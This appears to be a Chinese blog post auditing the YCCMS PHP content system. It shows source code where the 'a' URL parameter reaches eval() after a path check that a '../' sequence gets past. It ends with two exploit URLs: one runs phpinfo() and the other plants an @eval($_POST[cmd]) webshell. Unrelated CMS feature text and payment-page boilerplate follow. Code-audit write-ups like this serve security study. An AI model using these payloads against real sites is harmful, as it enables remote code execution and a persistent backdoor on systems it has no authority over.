YCCMS系统代码审计

首先是环境问题,由于之前的操作不当,需要以下两个链接来修改。
phpstudy环境问题

首先导入就不讲了,直接开始扔seay里面审计。
在这里插入图片描述
发现13行出现命令执行,进入

<?php
class Factory{
	static private $_obj=null;
	static public function setAction(){
		$_a=self::getA();
		if (in_array($_a, array('admin', 'nav', 'article','backup','html','link','pic','search','system','xml','online'))) {
			if (!isset($_SESSION['admin'])) {
				header('Location:'.'?a=login');
			}
		}
		if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php')) $_a = 'Login';
		eval('self::$_obj = new '.ucfirst($_a).'Action();');
		return self::$_obj;
	}
	
	static public function setModel() {
		$_a = self::getA();
		if (file_exists(ROOT_PATH.'/model/'.$_a.'Model.class.php')) eval('self::$_obj = new '.ucfirst($_a).'Model();');
		return self::$_obj;
	}
	static public function getA(){
		if(isset($_GET['a']) && !empty($_GET['a'])){
			return $_GET['a'];
		}
		return 'login';
	}
}


?>

1.主要是file_exists这个函数出现的问题,这个函数,遇到/…/会返回到上级目录,可以利用这个策略逃逸出 file_exists()函数检查。我换句话说,如果aaa/…/bbb,aaa为/controller/,bbb可以随便写,但是要保证aaa目录真实存在的,这个函数会识别一个规则就是遇到类似/…/这种结构时,会将第一个斜线前面的内容当作一个目录名来处理。

2.我们简单梳理一下,类名为Factory{},该类使用了setAction() 方法,通过调用self:: getA() 方法获取 $a参数进行跳转检查操作,看是否是admin权限,然后通过file_exists()函数检查文件路径是否存在,最后调用eval()执行php代码。

当然,我们得看是那个文件调用了这个函数,拿起burp开始抓包,
在这里插入图片描述我们可以看出来,在config.count.php中先引入参数a,这里的a就是出现问题的Factory.class.php文件,我们继续推理,弄清楚Factory.class.php由谁调用,全局搜索有关Factory类的函数。
在这里插入图片描述发现是由run.inc.php,继续搜索run.inc.php。
在这里插入图片描述可以看出是由config/config.php这个目录,这也刚好可以证明,为什么burp抓包的第一个目录是有变量a。到这里就可以开始进行注入了,直接上🐎。

payload:

http://192.168.0.1/yccms/config/count.php?a=Factory();phpinfo();//../

在这里插入图片描述

payload种木马

http://192.168.0.101/yccms/config/count.php?a=Factory();@eval($_POST[cmd]);//../

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
1.此版本采用了PHP MYSQL架构。2.创新型内容管理模式,建立频道后可定义内容模型,均在后台可以控制,非常方便。3.模板引擎采用了成熟稳定的Smarty引擎,很轻松就可以做出模板界面来。4.前台和后台均采用了DIV CSS,速度比传统型略快。5.JS采用了国际上比较流行的Jquery框架,还有基于Jquery的XHEditor可视化编辑器。6.支持基于Apache和IIS的路径优化功能,让您的网站面向搜索引擎而优化。7.单页功能:制作类似关于我们和公司介绍只要添加数据就可以实现,并且可控制访问权限。8.后台支持权限分配,减轻管理员工作负担。9.可自定义菜单导航。10.支持友情连接11.投票功能:可以控制在哪个页面显示,并且可以实现时间段显示投票,控制了一个IP只能投一次。12.广告功能:支持HTML自定义,并且可投送到想要显示的页面。13.支持内容无限分类,可详细定义自己的内容。14.制作了会员组接口,方便控制资源分配等。15.实时监控网站在线人员动向。 WeedCMS V4 正式版01.[修复]后台删除横幅出现代码问题。02.[优化]让详细页面也显示菜单选中状态。03.[优化]当前位置根据程序判断04.[优化]讨论组详细页面优化。05.[新增]增加内容顶和踩功能。06.[新增]首页增加NOTICE简单公告。07.[新增]添加了PVOD播放器播放支持。08.[修正]讨论模式不显示发布者BUG。09.[优化]解决生成缩图模糊问题。10.[优化]会员系统前台登陆部分。11.[优化]当设置为问答模式不显示在人气内容12.[新增]首页模板增加讨论模式。13.[新增]内容列表增加问答模式。14.[修正]在某些环境无法发布内容BUG15.[新增]编辑器增加表情。16.[新增]评论增加表情。17.[新增]频道控制是否可以缓存。18.[新增]显示推荐内容19.[新增]评论后台管理20.[新增]内容缩图增加外部地址
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值